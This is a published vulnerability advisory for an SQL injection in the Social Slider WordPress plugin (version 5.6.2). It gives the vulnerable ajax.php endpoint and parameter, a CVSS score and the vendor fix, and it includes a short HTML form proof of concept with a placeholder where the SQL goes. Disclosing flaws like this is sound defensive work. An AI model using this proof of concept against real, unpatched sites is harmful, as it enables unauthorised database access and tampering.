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SQL injection in Social Slider

Advisory ID:HTB23033
Product:Social Slider
Vendor:Lukasz Wiecek
Vulnerable Versions:5.6.2 and probably prior
Tested Version:5.6.2
Advisory Publication:July 20, 2011 [without technical details]
Vendor Notification:July 20, 2011
Public Disclosure:August 10, 2011
Vulnerability Type:SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Score:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Social Slider, which can be exploited to perform SQL injection attacks.

1) SQL Injection Vulnerability in Social Slider
Input passed via the "rA" POST parameter to /wp-content/plugins/social-slider-2/ajax.php is not properly sanitised before being used in a SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
<form action="http://[host]/wp-content/plugins/social-slider-2/ajax.php" method="post" name="main" >
<input name="action" value="ZapiszPozycje" type="hidden">
<input name="rA[]" value="SQL CODE HERE" type="hidden">
<input type="submit" value="submit" name="submit" />
</form>


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Solution:
Upgrade to version 7.4.2


References:
[1] High-Tech Bridge Advisory HTB23033 - https://www.immuniweb.com/advisory/HTB23033 - SQL Injection Vulnerability in Social Slider
[2] Social Slider - wiecek.pl - Social Slider is a simple social media menu for your website.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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